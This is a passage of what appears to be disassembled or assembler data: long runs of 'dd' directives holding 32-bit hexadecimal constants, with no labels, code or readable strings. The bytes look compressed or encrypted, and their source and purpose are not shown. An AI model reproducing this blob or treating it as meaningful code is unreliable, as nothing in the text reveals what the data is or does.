8C484400h dd 2A6A2Ch, 69725A6Fh, 8DDDFE2Fh, 0C79F5D07h, 0B6852234h dd 297896C0h, 81F900F2h, 0B1834D30h, 591D7D95h, 0F500B991h dd 270B2CADh, 8472D2h, 0E09C3A60h, 0E808454Dh, 5878E0B5h dd 2F7A3224h, 4973011h, 98AF31C1h, 4871080h, 455DE02Bh dd 0D8DD2100h, 43773893h, 31350678h, 2855F8ACh, 0E92DE722h dd 0B6206808h, 11804277h, 19210FB2h, 51427B0Ch, 0EAF94474h dd 44651144h, 3C627CF1h, 24ED0829h, 2051228Fh, 58722203h dd 987BC107h, 9ED05B1Ah, 0B0FB19CCh, 28DD0090h, 2B548AECh dd 84001774h, 0D27F2333h, 1D944CCCh, 41C679AAh, 0CDF6FD85h dd 97ADF8A4h, 46687D00h, 0AF5F4192h, 4023009Dh, 0E9F6D3C7h dd 37008399h, 1C0DDE1h, 383B3F07h, 7A02585Ch, 969D117Fh dd 79885663h, 0F6035476h, 4F176BF1h, 8B7CF014h, 107D0337h dd 0D1EC8270h, 7EF9FA98h, 6BC27602h, 0C09793CCh, 765AF838h dd 1B8F07A5h, 0D0870E1Dh, 9C7BC3A9h, 13C2D8A0h, 0B1CCB400h dd 0E6A4DC5Fh, 0F81500B2h, 8A7D9A80h, 581C45D8h, 0BC986F96h dd 0C9E9860h, 0BB0B8FF1h, 0B3008E10h, 9B775A06h, 0B5EC3Fh dd 2D0A1D0Dh, 0BF100E34h, 0DEB1BA2Dh, 73310014h, 18FE63B2h dd 64498900h, 507232E9h, 0CABD1829h, 8CAB201Ch, 4038E830h dd 0C39244BEh, 9B4A89D4h, 3DFBA5E0h, 2B79471Ch, 0B09F916h dd 604400EDh, 26632CE6h, 1F3E48FDh, 58047A19h, 81EA754Ah dd 709E3956h, 0E071BB9h, 1C7E20Fh, 9D5E7B00h, 1D85007Ah dd 93988E88h, 0D7009E60h, 7E774331h, 0F43D08h, 52562844h dd 5B546E84h, 4500CFB0h, 4CB9DB89h, 53BEAC4h, 32D2157h dd 337BF013h, 0AE462B00h, 656B3864h, 1E940CA9h, 212EAA0Eh dd 0E7E65D00h, 7886A106h, 0B7F8A5h, 717CF657h, 3C5412FEh dd 204548h, 4B7F6C86h, 14119F0h, 0E4DBD921h, 609BCB38h dd 0BB0A4394h, 0ECAB27E8h, 0C011120Eh, 28847BAh, 0DE8E017Ch dd 85BC4FACh, 8F1EBE5Bh, 0C0EE2835h, 19A4E2AAh, 0D83D006Eh dd 0E0121BDAh, 0D200D741h, 94BB9E87h, 0E07AB445h, 71AA004Eh dd 0AFF3AB39h, 3C00D4CBh, 3BF7385Bh, 0ED1CC58h, 9C425FFFh dd 3AF23403h, 12BE1FF0h, 461B1E00h, 0C45763FEh, 9A810EA0h dd 8689C1CDh, 461E0C20h, 50006404h, 27582CB3h, 509BD19Fh dd 0F45EF429h, 0C18C0047h, 0E663869h, 0F4120A23h, 485B79h dd 3F20EEB0h, 194F617Bh dd 52B2B300h, 0A9701E13h, 0E3883EDAh, 0F881F000h, 0BECCA6FAh dd 0ED5E1600h, 0B50AF3EAh, 1FBC01E9h, 1E65029Ah, 1D95202Ah dd 2981F100h, 61CE1921h, 0F6D03CAh, 644CC3ECh, 5D97C2A8h dd 19415900h, 5368FEC6h, 695700CCh, 20291AE2h, 0BD00A595h dd 677259ECh, 555E61h, 1973816Dh, 8332220Eh, 8B05F90Fh dd 4C0A44D1h, 0E7D6B0C0h, 0B4C40003h, 6D0EC9A5h, 3C001BE4h dd 0C2DD182Bh, 79951Dh, 0CD736682h, 2DFE201Fh, 32E34005h dd 0D200919Dh, 0AF10B837h, 0C2CE0092h, 0CA4703C5h, 0FB01BFDDh dd 15B02BE5h, 13E0DE0Dh, 2FC97BA1h, 3FE0CADFh, 0DB0408C1h dd 7FE3D6D9h, 0F7E24CC0h, 6177F439h, 0D8511083h, 98E9C805h dd 0D456FA00h, 0A8D727Ch, 809A82h, 1AC79086h, 2151CF14h dd 0A12C6776h, 7300677Eh, 4930FB18h, 1E5AE061h, 83B87BFCh dd 1E74EE0Eh, 0C04FC998h, 1FE46C1Ch, 0F019E027h, 0DF220520h dd 806EA1D7h, 0E9A6D8FBh, 6A00377Ch, 82402504h, 7036B74h dd 4F889E4Bh, 84F9C034h, 2E00C762h, 0FFFC0E05h, 0B5465Eh dd 368AC0F2h, 56A3387Fh, 6F395500h, 0A81B683Bh, 2F740043h dd 0CCEF2980h, 38036C0Ch, 0E322D7BEh, 89BA88C0h, 75F000B4h dd 7C420A18h, 0CB009F85h, 0B95723BBh, 9569CFh, 4037298h dd 0A26A4558h, 52663100h, 0B3EC563Dh, 5A4600DCh, 64264393h dd 8C010119h, 0FE9FFFBh, 55F46B09h, 65B900D7h, 0B7E79BDEh dd 0A5002F92h, 7662A2BFh, 741306h, 0CEB173C1h, 7A97EEF4h dd 75D7C300h, 0E155DCF6h, 17FF48FEh, 6835150Bh, 0E4F488h dd 0A3FC7B02h, 0AC00C145h, 6EA63EE6h, 3E49A59h, 0D86DECEAh dd 478BBC4Ch, 4D89B8C8h, 0AE250E00h, 3C686F6h, 0F08B00BEh dd 0D3D84714h, 690161DEh, 49724BD9h, 0D1F05343h, 67FAA9h dd 79AF2EB8h, 22F41ED2h, 3D422B00h, 0A0957321h, 0F29A045Dh dd 0C0334631h, 0F1A205DAh, 94CE148h, 8AD88Fh, 5CB8C038h dd 1E767CC8h, 450EC6h, 1C261D95h, 0D600DCD1h, 60D86E8Dh dd 1706D3C4h, 0D2B242h, 5A2617D6h, 0A90135F9h, 3143A1E8h dd 0B4205CDDh, 1B6B003Ah, 79710F78h, 0AF1229D6h, 3902A9C7h dd 40996A80h, 2146D9h, 0CCE49727h, 9F14506Ch, 0C4B27F00h dd 1007A6F8h, 5A6207D3h, 0A0948389h, 0A961CA46h, 8050B74Ch dd 41FFEEF0h, 91A2423h, 0D7B500C4h, 11C0D196h, 8FD34D00h dd 1A5A7C53h, 38BD7A50h, 2A87F28Ah, 0A0249288h, 0DBDA160Ch dd 0BE57D400h, 6D3C0809h, 9E580A33h, 2F9A8DEh, 5F37E767h dd 351DCD40h, 0A146CA07h, 89132DF5h, 0E885D0FBh, 7FCF00BEh dd 83974574h, 0C00FA904h, 6067BB2Eh, 105D854Fh, 9D10005h dd 0A6DEC8BFh, 0EA1DB334h, 1D8097DCh, 0F48B4BFCh, 62450202h dd 58740DBEh, 6A52BCC0h, 34008B98h, 1BB5727h, 503903h dd 7124C0C9h, 9A1EC819h, 2A0458B0h, 417F6F7Ah, 42D003C7h dd 1A0722h, 0D9E2CDA8h, 0B0FE92E8h, 0F1183A01h, 0C7817D29h dd 62CFC0h, 2B03D7A3h, 0E1AC975Fh, 1D7CC205h, 588177FDh dd 65EC38D2h, 282600F5h, 0FB0C1492h, 99002F7Ch, 54B1F1FEh dd 341B2ECh, 9C13FAC1h, 24901EE8h, 995CCEF3h, 800C3C84h dd 0CB846DB7h, 0B9034Ah, 8C694858h, 20EBB2E3h, 4443EE00h dd 9F4E52D7h, 40D90056h, 0B4173F8Fh, 0B2005FC9h, 0AA959BCCh dd 202BC7h, 0DC1FCB14h, 40BAFD0h, 640AB460h, 383087Ah dd 6B737480h, 100087B9h, 19042BE6h, 0D9A5FEh, 5D6CAC36h dd 0FDF8BB86h, 243A7918h, 4C0C8168h, 4014DFF9h, 7D8C5Eh dd 397BEBC1h, 993B8F36h, 0BEA4900h, 16272E63h, 17E77E1h dd 4ECE5185h, 2FBA5701h, 6883280h, 9E4AD3h, 5A844C68h dd 0B7F4AB6Dh, 0DFE60D00h, 0D580F921h, 6B4E00EBh, 32BDB6DBh dd 0D600B2C2h, 0DEF7A070h, 16D2629h, 27D25C9Fh, 0EE950A60h dd 0B45B72E0h, 0C68C9116h, 0CF84B31Dh, 3DC0D7E1h, 1E22B0FDh dd 404D5561h, 0C30428C8h, 93007471h, 347D94B2h, 0C46621h dd 0BFB5E91h, 0AFA78CC6h, 0E201B600h, 5275CEA2h, 47EE68Dh dd 0BFB19FD3h, 60B480B8h, 307E4D9h, 9BC8888Fh, 986EA7B0h dd 0ECDB005Bh, 7C0431DCh, 930A9C73h, 0F8CAD0BDh, 70002612h dd 666E3C3h, 0DE410087h, 1E91E781h, 1103B9C8h, 362F2AECh dd 0F56088B1h, 1326006Dh, 0F25DA4F9h, 0A001636Ch, 285C8D96h dd 6870ED24h, 5CEA5CAFh, 694E5900h, 0F03BC28Ah, 0CA629B00h dd 0DA713EB0h, 6E990276h, 0F9556342h, 20B29261h, 860020FEh dd 0D623674Eh, 3F767E74h, 9E0C5A41h, 0D329CA12h, 2E829507h dd 66B0C4BCh, 0EC167Eh, 0E1110F3Eh, 8FAE57A6h, 0D677300h dd 0FC2A19D6h, 22340295h, 0EBDDF0D1h, 4AA70A0h, 0AD16AC9Ch dd 540031BAh, 1A8E73B6h, 0DDA83C34h, 0D3BCE0Fh, 0D961C160h dd 7F305F43h, 0BF30E0DEh, 549805D1h, 0C05AF24Dh, 0A9EF2CBCh dd 0EC25C800h, 6F067AD2h, 0A1E30E43h, 8415681h, 801DE0BEh dd 18019AC8h, 4CCC2E24h, 5D1832D6h, 0ABA65875h, 5EDC0E00h dd 0C36073D5h, 3F6E0546h, 80BA3BFEh, 0A3561D74h, 2D27A100h dd 1F51888Ch, 7CF85CBEh, 0A0A21300h, 0D057126h, 70E5C178h dd 2D5010E0h, 30B0648Eh, 800035EEh, 0AB17FCCBh, 0E2DB77h dd 398946E6h, 9A2DF788h, 0D2713600h, 7E5A3A9h, 0A50E0026h dd 1A3B0835h, 9400D9C4h, 825E3102h, 0B87174FBh, 0EC4908Ch dd 0EC0B7069h, 1311317h, 9CC36548h, 9200F2F6h, 0FC4FEFF3h dd 2E450B99h, 80A0D881h, 31BEB925h, 5E758900h, 7B787EFAh dd 44C20704h, 0D02777CCh, 636F4FFDh, 0C6C8401h, 0BADEE293h dd 498440DAh, 688F00B4h, 0DC8E8C38h, 0A0032BF6h, 73B360D5h dd 0AD72B153h, 4AA75860h, 0B53000B4h, 48E38E19h, 0F55D5C2Ch dd 0EC00B124h, 72FABA7Dh, 3D080121h, 2D8CFCDCh, 0C0F44058h dd 1BE2C649h, 72BE6B00h, 4BB79894h, 0D0A80059h, 0A3D2C97Dh dd 0BD0061B5h, 41FABB13h, 2804711Ah, 0C0A177h, 52FB178Dh dd 0F22951D3h, 6CC2E201h, 2C6D3D2Dh, 67000022h, 5D8408DAh dd 6FE889B2h, 6600877Fh, 5298CC81h, 0E3C5BA5h, 0C6B82320h dd 600ACFA0h, 0C81435B7h, 0B8937Ah, 0EC1E26FFh, 0D3E7B4h dd 2AD6F5Eh, 5080651Dh, 2421E300h, 0CF688EF8h, 2817009Fh dd 681DF1Fh, 44037A78h, 70C2959Dh, 0D99CD072h, 809E0EE0h dd 0B9E07D97h, 0B761CE2Dh, 57798208h, 0D37C02F8h, 58401CA2h dd 261E8496h, 74C05861h, 8249C7F6h, 0FAEF0042h, 7E9C0FDAh dd 361F8E34h, 960FBC29h, 71433D7Dh, 0E8119F8Ch, 40386Eh dd 0ED205018h, 10883EA1h, 0CEBA2700h, 58D8F953h, 1F2B00E8h dd 477A4D74h, 525A0E9Fh, 92590C09h, 704B62A8h, 10120000h dd 362E3F3Bh, 0C3B21D6h, 0EAD28056h, 0A8F6ED29h, 0DFB5008Dh dd 198B9D6Fh, 9E00BC0Eh, 0EB1745DDh, 5AAB9F54h, 53141F95h dd 0FD84C03Fh, 5748FE8Dh, 32EB0010h, 131EE697h, 6AFF0719h dd 0A0C296EAh, 9ADFF948h, 19C589Fh, 6E47A9C3h, 70C927AAh dd 0FF1236E4h, 0E4008152h, 239DA6CFh, 0E4F90345h, 7AD78F62h dd 54976003h, 904B5069h, 60425D63h, 0FDBC1876h, 79018EC5h dd 1770E11h, 10D1B365h, 2448BF20h, 0A4EB50h, 946C6807h dd 0EE004E40h, 5F6AD0C9h, 0F47ECBD1h, 544F001Ah, 677B6959h dd 0B77E8E98h, 77DF9C00h, 4C1E40BCh, 1B0B17BFh, 0AED442D5h dd 42008359h, 7D8CE13Eh, 0AD9D0069h, 0CC5B50EEh, 1614A1D5h dd 9CA210h, 0F67B0C66h dd 0D688B3h, 0AB3E58C8h, 825260A3h, 3AFCFE00h, 0A8EA3419h dd 2FCE02AEh, 0E47981BEh, 963D8464h, 5A7B00DCh, 0B849984Ah dd 8CB842h, 564D6D86h, 0AC2B33F5h, 13636900h, 4AB3735Bh dd 19FE55h, 9281916Ah, 617BF771h, 93443Ah, 0B02917E5h dd 22F1948h, 0D78C63CFh, 64C486B7h, 78DFE300h, 0EC9E3406h dd 81970072h, 2DE87D95h, 13ECC3A9h, 35005890h, 0F28C2CABh dd 2DEA9843h, 4C00A4D5h, 0FC2D1393h, 5ACB600Fh, 9799C170h dd 0C2EC957Eh, 92C61CAAh, 208E8005h, 30B3DE9Ah, 8059F23Fh dd 4611692Bh, 12F5077Ch, 0E8E02Eh, 0A879D18h, 1300BCA1h dd 1B3A8BDAh, 230876h, 21E18656h, 8C8FB639h, 4000C0B0h dd 0B5A0FCECh, 782BF285h, 0F752078Dh, 0B2FE9B61h, 8157A30Dh dd 0ED7F8C2Ch, 93CF1180h, 153F6896h, 0BD04CE00h, 282FAABBh dd 76DF259h, 722D0D4Eh, 6AD25067h, 9A0025C9h, 60DE2A0Ah dd 374DF9h, 263E9B50h, 0A5DA2431h, 0B0448100h, 0C929C34Bh dd 0F4B1038Ah, 0B539F75Fh, 59F35B90h, 0FA614200h, 0C6A44C78h dd 0F9BF00C7h, 3197FB09h, 74006FF0h, 0E6D61FCEh, 4C1D9Ch dd 84351C12h, 538AEDEEh, 9524850Eh, 9C6CE07Bh, 3B3966D8h dd 8D00FC06h, 0CC70B262h, 551D5C09h, 0CB00D31Fh, 67D7763h dd 74DA008Eh, 0BB667F59h, 0F701B2F8h, 48FE0291h, 38F8C789h dd 0EA120043h, 0F858B150h, 0D31F5C71h, 208F9626h, 0AF942044h dd 7D97EFEh, 6A293057h, 0D84C30BCh, 10181593h, 0D1F062B1h dd 975700DBh, 3AC99440h, 0E0B54314h, 0F435AF16h, 6200018h dd 6550495Bh, 5F001196h, 0E44F0854h, 0BB44F0h, 0D4073AD5h dd 62C07A1Ah, 27575500h, 65719CD2h, 0AF7E5Bh, 251F58E4h dd 61A88884h, 0EDE23200h, 0F506C9E7h, 40E500F2h, 0C638CE90h dd 140AE137h, 0D832C52Bh, 2841981Eh, 51C4A189h, 68808EC1h dd 796E7256h, 0E80065E5h, 10A1610Fh, 87DF85h, 0B45A2C99h dd 31F0FD05h, 72D84300h, 0EA07CDBCh, 8B750503h, 8070C146h dd 0B21029D6h, 0B13E9306h, 0E2322063h, 81266F9Bh, 17ABE00h dd 2270B9D4h, 6C14AE74h, 14101B9Ah, 381CC4B0h, 0ED1E80A1h dd 491DE993h, 27C83E42h, 0B218C0F8h, 2A1ACF8Fh, 0FE713000h dd 0C26C794Ah, 0F2BC09A8h, 0A500AF64h, 590E96CBh, 0F0EADB00h dd 0A505C243h, 0C1320C31h, 0F179DD8Ch, 833ED498h, 0F011E0F5h dd 50A920A6h, 1F1CF1AAh, 3061AF57h, 56A4321h, 0C659F40Ah dd 0AA2C5822h, 214C3200h, 0C7551Ch, 158A1126h, 740E180Bh dd 83003BE4h, 69FE3756h, 4C1D2517h, 0A6014AB7h, 81E624E4h dd 8821E8F8h, 7AEF3Fh, 0D1F26FC9h, 7F458E28h, 47DB1E32h dd 446E69h, 0CE4C1CF6h, 0BB0C086Ch, 0D1D9BC2Eh, 0DA880E0Ah dd 4D604FF4h, 0DF1E6383h, 27858F06h, 0B11AAEh, 0B42843C2h dd 664FBFEAh, 9239C4A0h, 85F0252Ch, 676DB200h, 543A7781h dd 53D027h, 0D49622E4h, 3609C371h, 940076F2h, 0EFEEA51Ah dd 3019D3CDh, 0B131335Dh, 0AD005E13h, 7CEE5550h, 351C6B2h dd 192327F8h, 290F3472h, 6D5426h, 6542B92Fh, 13C630CCh dd 38609AA9h, 0E43E68F6h, 726A09BAh, 78A981B7h, 0CF30D10Ch dd 0D0F06083h, 39F4CED7h, 19592560h, 81B490h, 5EFED5E2h dd 0CFFF9FC6h, 21A5FA01h, 9765BAEEh, 20C04E80h, 70D0B049h dd 15644479h, 76413EC8h, 0E4902380h, 99C07AC7h, 3D5B62F3h dd 0D2860064h, 1DA41C54h, 3F0CCFA5h, 29239A27h, 0C350009Bh dd 0D985B3AFh, 0B6F8493Bh, 0EDA0B90Fh, 68D5A030h, 0BAE08Ah dd 86D624ADh, 67091FDCh, 0EEA4500h, 894ACC2h, 58903C1h dd 0ED788459h, 0DFE044E3h, 3302C08Ch, 28A08A4h, 0B6F2209Dh dd 1B03D27Eh, 1335DD3Ch, 0A70830B4h, 7EBF5121h, 0AEE79C00h dd 74D14F47h, 0EC580071h, 9ECCA90Eh, 8A039B08h, 893D2067h dd 0DCE1C092h, 44E4DDh, 0BCFFF2C1h, 0D0F4E7C9h, 0A4F888h dd 315D62DDh, 86231EBBh, 27BED71Fh, 0FE5C2C80h, 64FAA77h dd 0F29378BFh, 0C103393Fh, 49B39E7Fh, 6911008Eh, 0E5954355h dd 3D7AD4A9h, 7D085163h, 0CE200093h, 0B2ED43AEh, 9200DBDAh dd 20096814h, 0ECCB38C5h, 60996CE0h, 48CB858h, 0E0F84356h dd 20966251h, 0E543A3C9h, 0B6CD8800h, 6C7007A2h, 12E40A31h dd 91B4C3E3h, 7EF0808Ch, 8CEC1BD0h, 539544h, 0DC377EB9h dd 0FF0240C8h, 98F12B30h, 60384817h, 0DDE6A8FBh, 0C43A281Ah dd 7C040072h, 4E4C02FDh, 6BE816h, 91DE6265h, 3F78D301h dd 0CCB0962Eh, 6093E30Eh, 8DA27DD4h, 0B6E000F7h, 0A7FE477Ch dd 9F003E06h, 84266B86h, 11BEBFCh, 799B8C9h, 0C8CC3CE2h dd 8600E723h, 3AB9F401h, 30CC882h, 9ECAF11Dh, 9931C79h dd 786A7488h, 80DC6F3Bh, 68FAC12Ch, 98E53975h, 0C59E2F8h dd 77E1F7B4h, 4C1BF229h, 0E1100E3Ah, 198059DDh, 7144F5EAh dd 0D03A8C64h, 7CE040FAh, 480460C6h, 0A2EF1C0Dh, 0CCB7200h dd 7C65DCFCh, 0F6A53CA3h, 0F9D91801h, 0CC70764Fh, 6F0080E8h dd 437BC78Ah, 1EF255A7h, 865E8Fh, 0F1B0E4FEh, 0D0FDA9F6h dd 0AE0048FFh, 0BF1DD454h, 1ECA5EC6h, 0C074EA0Ch, 2E4591E1h dd 0B0015CA3h, 79F2C432h, 0C1886F66h, 6C865DEFh, 0C197AC0h dd 76D6DAF3h, 0A26F8AA8h, 0CAFA8520h, 0E32391C0h, 1C16035Dh dd 6A5ADAF2h, 0F08AC000h, 94FC5566h, 0B7320028h, 397F9DBh dd 7D03E786h, 899CA3E3h, 0AA4190EDh, 0F301000Eh, 1F443F20h dd 0D700F449h, 0E94F3E8Bh, 0FD43829h, 1CBD6D2Ch, 0DB124180h dd 0F8E8982Bh, 43EB6200h, 0CA5AED07h, 0B3023C90h, 0D0282700h dd 2210B20Ah, 5BCD6700h, 0D713BD6Fh, 0F503039Fh, 90C1A77Bh dd 677AB188h, 317E2400h, 1E85688Eh, 18690026h, 0B9D8C643h dd 2F03DAFFh, 88F7BCFEh, 7680B0B7h, 0E321008Fh, 17F4BF7Bh dd 97EE504Fh, 0D1B39007h, 60A0968Dh, 0F8FE2F3h, 80C73615h dd 0FF141800h, 1D0A9725h, 80ECFEF8h, 4E3293Eh, 3D50185Ch dd 0B119582Dh, 0BFBC0E5h, 4F6A5200h, 0DD7E5E60h, 50C606F3h dd 28EA477Ah, 421E0C22h, 0D364116Eh, 11460611h, 5A212695h dd 90D15D08h, 37D48462h, 0FA451648h, 420E2808h, 224312Eh dd 12D26821h, 30CF108Ah, 6D081E89h, 22F88820h, 0A75049D6h dd 4345CA64h, 4429EEFFh, 90A007F2h, 0D5002EFEh, 6F0A5843h dd 6B3923h, 91B0952Fh, 8867738Eh, 68E06Fh, 72083B74h, 55A5004Ch dd 5B02BDDAh, 4D00E647h, 0BBB1267Ch, 203C25h, 2C17AF60h dd 11F64F5h, 0A0F1E800h, 0EEA9E1FBh, 0BB905A8h, 1F95A62Ah dd 80F74097h, 0F4F3CAF6h, 0EE81EF07h, 11009939h, 6C3A29h dd 93E46F91h, 50383BB9h, 4B9B4C00h, 645BF4B1h, 0E90900DBh dd 74294054h, 7E00FC73h, 19BF71F9h, 951B0A9h, 5B22BC21h dd 5E100Eh, 0EABAF398h, 0D6186A8Eh, 0C6586F50h, 0C3AA3FF8h dd 3C00473Ch, 1101FD56h, 0DF049130h, 883236C4h, 0B7383080h dd 6726122Dh, 0CE861FAEh, 7B6BA03Ch, 5FB08600h, 8C9036D5h dd 0C48F5B00h, 0A839728Ch, 6DF60078h, 80DBAF5Ch, 9000E7E8h dd 0EB719F1Ch, 3E526EF2h, 40000EB2h, 0A13BDFB1h, 30038A41h dd 0A8E06379h, 7C0AE837h, 0D3920943h, 815704BBh, 0BC0762BBh dd 2A7FFCh, 3D5650B6h, 0C79DBFDFh, 0C01B5700h, 0FF6810A3h dd 122B0047h, 0E4666FF2h, 367C6318h, 0B85A3Eh, 8B31510Bh dd 0AABA1Fh, 365C3EAh, 0B9431030h, 0ED7D8300h, 0C2D502C8h dd 1FB100B4h dd 0C0D40DE0h, 240322E5h, 0CF43736h, 0F3C0E55Ch, 0F2F076h dd 0A7F2C33h, 3EA0D112h, 9EDE6700h, 0E5D9A824h, 118903Ah dd 21B258FCh, 0D0965CADh, 0FD48C474h, 386200E4h, 0A7F10D93h dd 0D4F0DDh, 89430ADBh, 0AB366E7Dh, 69809100h, 887AF14Ch dd 0E36600A0h, 94C4AF6Bh, 3100E5D7h, 0B0DB5DADh, 5816F6h dd 7C24EAFCh, 0DFC879D3h, 0AE497D00h, 0FE0B355Eh, 96E3006Eh dd 81E64A7Eh, 0F019CD4h, 39F69434h, 6DF00356h, 251800C0h dd 0F48A4DB5h, 7BF884BCh, 65E21F01h, 15335735h, 55F930h dd 53448180h, 2660FEA9h, 90C21800h, 0C68D9D1Bh, 0EBA8000Ch dd 77624238h, 95076504h, 19AE173Dh, 0A07A4133h, 7299B9h dd 0C69D486Bh, 974292A0h, 340393F0h, 18A7761Bh, 5F7BC855h dd 6A0801E0h, 0CFFD767h, 0CAD8D375h, 120038C3h, 0A48BBB74h dd 7E6B5Ch, 0CD3ABC94h, 9CD3B10Eh, 989D5400h, 73F01216h dd 0FD0600D7h, 364B3C35h, 8B00FACAh, 901D49EEh, 3446227h dd 6E145086h, 0ECC056BFh, 0CF00C478h, 80ED5FF6h, 841BA4h dd 26DBE33Dh, 572C4998h, 2AFC5200h, 22F74FB2h, 0AE16003Eh dd 235478D9h, 4CF21A6Eh, 18389100h, 2C72BECh, 4B6500F6h dd 6F0D8286h, 6400108Bh, 8962EEC9h, 1184CAAh, 0FE19A121h dd 2B3E9A97h, 0A02A3680h, 7C6B0084h, 226289E2h, 0F0F7C5D6h dd 0DF0043F1h, 4CD1527Ah, 0A0EB2383h, 0F83C75E8h, 0E4BE5424h dd 74E00011h, 0F6619606h, 0B57C8A7Dh, 2FB62B00h, 5827A92Dh dd 0AC0A00A1h, 3BBE6403h, 63005034h, 22BC38Ah, 900B81h dd 0BF997FECh, 1A24F837h, 8F321300h, 0F43ABB62h, 7E270196h dd 11FFC02Ah, 0E929F449h, 0B06A4E07h, 403F6EACh, 0CDE2A5DFh dd 0C37500DDh, 0E9710FDBh, 6E3D6CB6h, 89068BD1h, 0AF700021h dd 7138EAE5h, 6CD600ECh, 0AA67F5DFh, 0E0B09FA5h, 17B90C00h dd 76FD5FADh, 521300B6h, 0B220F92Fh, 0DD7E7179h, 166A7D00h dd 0BD79CAAh, 3FA53D32h, 0EF89580h, 396876CDh, 0D100ECE0h dd 8F249D98h, 0F0B299F5h, 0BC1500C6h, 45B56950h, 0CF0F8CA9h dd 60DB5C60h, 423FDDE9h, 0A6B0046h, 7A40C0FBh, 4800850Fh dd 2EFD167Bh, 9560EB4h, 0DF0B1A72h, 0D7B15803h, 746EB08Fh dd 131C9B79h, 5980191Eh, 97A2C0D5h, 22E7002Ah, 9020F86h dd 1200F736h, 9254B3DEh, 3F899BCh, 466351D8h, 6599C4ADh dd 8A553097h, 76BC4E02h, 40D81893h, 0A100910h, 3A468C52h dd 70003980h, 77E93566h, 0D7012583h, 0C7232E14h, 0AD700EECh dd 0CE690E9Dh, 983E018Dh, 1F17C899h, 2405CC00h, 3DBE1449h dd 4E0724E2h, 0D3B600A6h, 513047F4h, 0CA571D01h, 0F8F67C0Eh dd 391E20h, 48C48455h, 72165283h, 5E3AA81Fh, 26869F00h dd 1896C589h, 38D35514h, 2B02925Bh, 0EFC1503Ch, 0A243B8h dd 629FC9B8h, 0C858146Eh, 4263671Fh, 0A3508B40h, 55DD80h dd 3E9D1A8Ah, 8759F723h, 0B09ECB00h, 9371ECEFh, 630600DBh dd 0E9FCE3F4h, 0FCFD264Ch, 2E00E622h, 2C663EABh, 1DCE359Fh dd 0C08EA3C2h, 6FF81337h, 0CB00EC1Ah, 8F5FBC99h, 0BD9442h dd 14CAEDF3h, 0CC38C432h, 0C099E00h, 0E4CE37FEh, 0C0812217h dd 5233D412h, 0F6E71600h, 543515Dh, 3D211E0Eh, 0DBC0AEA8h dd 0C748DAh, 0AF6E685h, 69157C8Eh, 0BDA1B10Fh, 0B81AA3C0h dd 5183D094h, 44B72416h, 2E520038h, 0C83A81E9h, 58690C1Ch dd 0F6B9CB47h, 0B12BAC50h, 0D1C70089h, 52B4C573h, 0A008DE7h dd 349829DFh, 2F167B6h, 0F39A6A07h, 0A4809743h, 0CE3EA420h dd 0AEAA2A07h, 9CA7ADA8h, 8891F573h, 35561EFh, 943EFCB9h dd 0EBA84629h, 7E00A1FEh, 21E054BDh, 7E37DDA3h, 0E8BF0057h dd 87402E3h, 0B272142Dh, 0CE364C00h, 0EE4F732Fh, 6D9000CDh dd 0A89B67A5h, 0E928E43Dh, 9A0EA5C8h, 43EE3810h, 0E8585FF0h dd 19F1FCh, 0ABCF5B6Dh, 1324FFEAh, 20F6560Eh, 88D1606Ch dd 0D3893Ah, 0E51833F0h, 274134ECh, 48964203h, 88DA2279h dd 48537F6Eh, 0C800D5CFh, 5F8F385h, 36009980h, 736B4451h dd 7906ABh, 1392A5E2h, 0BB197C86h, 0BD5C3C00h, 0C7E45EC5h dd 6343000Ch, 10708BB5h, 2260B1D0h, 73BB2F90h, 73D01B9h dd 1C50D9F5h, 0E4F83033h, 2C0056E4h, 373BA464h, 28DC0E77h dd 498DE7Bh, 3C5D91C9h, 9BA50006h, 304DA1Fh, 4BF7B53Bh dd 6CD046D7h, 0CF00FC55h, 6BA87192h, 0A41122h, 3DC99683h dd 0E246B166h, 0F53BC200h, 0D3DD574Ah, 5E1311BFh, 9F0E1E87h dd 0F26FC4BFh, 0FA527EFDh, 60E50084h, 69AD30C4h, 7500B406h dd 0F6AB8543h, 3801C5h, 2E7C3C72h, 0F5A5EE39h, 8EFF1500h dd 9CE93EC8h, 551A5CF1h, 0CB852Eh, 362735D6h, 4100FC14h dd 2CAB6CA6h, 4F6D80h, 0D190DBCEh, 958689EDh, 64CA0C00h dd 3ABA126Ah, 57B000B8h, 0DF791AA1h, 41005075h, 0A4EDD49Bh dd 0F6CACDh, 37405D47h, 61C2693Dh, 38B2EF07h, 24D0FF21h dd 0DFDCE1h, 429D0666h, 9AB9E403h, 0BB5A5E00h, 616A1F35h dd 0EC08280Fh, 859B03FCh, 1E042011h, 4C5867F8h, 0E824D30Eh dd 0C0EFEFD6h, 0CE12E43Ah, 0ACE01F27h, 8EFC8F10h, 0A099BBA7h dd 0E2D65DFDh, 82CA5B07h, 3510DCABh, 0E498C26Ch, 0A09700F2h dd 927739FEh, 24FA2C7Bh, 55A8601h, 93B43C87h, 5050C0C8h dd 9DC888Ch, 0CE5649DEh, 180C2974h, 0F6D01891h, 4B6B0052h dd 0A6474AF6h, 2F50125Bh, 0CD2274A8h, 0F0FB02F1h, 1DD55F1Ah dd 0B2634720h, 0C49E0972h, 9F00D1F9h, 93737CA1h, 7D9D9200h dd 4F551E6Ch, 5A25007Bh, 159A77D4h, 0E800A006h, 0B258EE4Eh dd 7C47A950h, 3A04005Fh, 0C1281819h, 80C07C77h, 6BC03EF4h dd 239B0190h, 83FB2D21h, 9C05C7A8h, 0B14CC668h, 0B5813FC1h dd 9976C0E7h, 955D1CB9h, 9F7C8017h, 39B1E684h, 341D2700h dd 737A7D6Eh, 5C5E1EFDh, 2977C41Fh, 8F5080DBh, 0E7004CE2h dd 468A6EEFh, 0F8C162h, 0D2FDBF03h, 0C98CA3BCh, 0ABB12200h dd 17677D88h, 7C560052h, 1685FF24h, 98FE55BFh, 0C0780D30h dd 28F8AA08h, 21A8280Fh, 2264CC46h, 29AA4040h, 623EC9BBh dd 0FE7FFE86h, 0BC501C38h, 94170E11h, 711AE0B4h, 0A02CFF74h dd 10664998h, 5126259h, 0FE57A6BCh, 0EAC1D9C0h, 1BF094h dd 85912E0Ah, 0E9754AAEh, 0C9105C09h, 4F7800CDh, 0EB63B1h dd 5FAE8F6Ch, 7A201CF8h, 66C19C07h, 986A9212h, 0B4DA7507h dd 7D3A47C0h, 38811764h, 202405FEh, 0E406801Bh, 5B004DCCh dd 0F54670B7h, 9442C10h, 7AC0CE2Dh, 0FC349480h, 0DE00F48Fh dd 41E135A3h, 1D830BFh, 0FABF33Ch, 41759A7Dh, 10A076A0h dd 0E0D9C7h, 0FF505EB9h, 551A87CAh, 6B63DAB8h, 0A078E820h dd 